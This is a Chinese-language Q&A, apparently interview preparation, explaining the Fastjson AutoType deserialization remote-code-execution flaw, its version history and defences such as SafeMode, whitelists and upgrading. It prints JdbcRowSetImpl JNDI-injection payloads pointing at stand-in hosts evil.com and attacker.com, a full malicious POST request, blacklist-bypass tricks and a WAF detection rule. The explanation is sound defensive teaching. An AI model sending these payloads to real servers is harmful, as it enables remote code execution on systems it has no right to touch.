问题

你知道fastjson的反序列化漏洞吗?

答案

漏洞概述

Fastjson反序列化漏洞是由于 AutoType机制 导致的远程代码执行(RCE)漏洞,攻击者可通过构造恶意JSON字符串,在反序列化时触发任意代码执行。

漏洞原理

1. AutoType机制

Fastjson支持通过 @type 字段指定反序列化的目标类:

// 正常使用
public class User {
    private String name;
    // getter/setter
}

String json = "{\"@type\":\"com.example.User\",\"name\":\"张三\"}";
User user = JSON.parseObject(json, User.class);

问题核心@type 可以指定任意类,包括危险类。

2. 攻击原理

攻击者利用Java的动态类加载setter方法调用特性,构造恶意载荷:

// 攻击示例:利用JdbcRowSetImpl触发JNDI注入
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://evil.com:1099/Exploit",
  "autoCommit": true
}

攻击链

  1. Fastjson解析 @type,实例化 JdbcRowSetImpl
  2. 调用 setDataSourceName() 设置恶意RMI地址
  3. 调用 setAutoCommit(true) 触发 connect() 方法
  4. 执行JNDI查询,加载远程恶意类
  5. 远程代码执行

3. 经典利用链

利用类 漏洞版本 攻击方式
JdbcRowSetImpl ≤1.2.24 JNDI注入
TemplatesImpl ≤1.2.42 字节码加载
BasicDataSource ≤1.2.47 ClassLoader加载

漏洞演进

第一阶段:黑名单绕过(1.2.24 - 1.2.47)

Fastjson通过黑名单禁用危险类:

// 黑名单机制(简化版)
if (className.startsWith("com.sun.rowset.JdbcRowSetImpl")) {
    throw new JSONException("autoType is not support");
}

绕过方式

  • 使用 L 前缀和 ; 后缀:L com.sun.rowset.JdbcRowSetImpl;
  • 使用 [ 数组形式:[com.sun.rowset.JdbcRowSetImpl
  • 寻找新的利用类(如 TemplatesImpl

第二阶段:默认关闭AutoType(≥1.2.48)

从1.2.48版本开始,默认关闭AutoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 默认关闭

但如果开发者手动开启,仍存在风险:

// 危险配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

第三阶段:SafeMode(≥1.2.68)

引入 SafeMode 安全模式,完全禁用AutoType:

ParserConfig.getGlobalInstance().setSafeMode(true);

实际案例

攻击场景

// 存在漏洞的代码
@RestController
public class UserController {
    @PostMapping("/update")
    public String update(@RequestBody String json) {
        // 直接解析用户输入,未限制类型
        Object obj = JSON.parseObject(json);
        return "success";
    }
}

恶意请求

POST /update HTTP/1.1
Content-Type: application/json

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://attacker.com:1099/Exploit",
  "autoCommit": true
}

防护措施

1. 升级到最新版本

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version> <!-- 使用最新版本 -->
</dependency>

2. 开启SafeMode(推荐)

// 全局开启SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);

3. 禁用AutoType

// 如果不需要AutoType功能,确保关闭
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

4. 指定反序列化类型

// ❌ 不安全:使用泛型Object接收
Object obj = JSON.parseObject(json);

// ✅ 安全:明确指定类型
User user = JSON.parseObject(json, User.class);

5. 输入验证与白名单

// 白名单机制
ParserConfig config = new ParserConfig();
config.addAccept("com.example.domain."); // 只允许特定包下的类

JSON.parseObject(json, Object.class, config);

6. 使用更安全的JSON库

考虑迁移到更安全的替代方案:

<!-- Jackson -->
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.15.0</version>
</dependency>

<!-- Gson -->
<dependency>
    <groupId>com.google.code.gson</groupId>
    <artifactId>gson</artifactId>
    <version>2.10.1</version>
</dependency>

安全检测

检测代码中的fastjson使用

# 检测是否使用fastjson
grep -r "JSON.parseObject\|JSON.parse\|JSONObject.parseObject" src/

# 检测是否开启AutoType
grep -r "setAutoTypeSupport(true)" src/

WAF规则示例

# 拦截包含@type的可疑JSON
if request_body contains "@type" and request_body contains "com.sun.rowset" {
    deny;
}

答题总结

Fastjson反序列化漏洞源于 AutoType机制 允许通过 @type 指定任意类,攻击者利用 JdbcRowSetImpl 等危险类触发JNDI注入,实现远程代码执行。漏洞经历了黑名单绕过→默认关闭AutoType→SafeMode的演进。防护措施包括:

  1. 升级到最新版本(≥1.2.83)
  2. 开启SafeMode(setSafeMode(true)
  3. 禁用AutoType或使用白名单
  4. 明确指定反序列化类型,避免使用泛型接收
  5. 考虑迁移到Jackson等更安全的库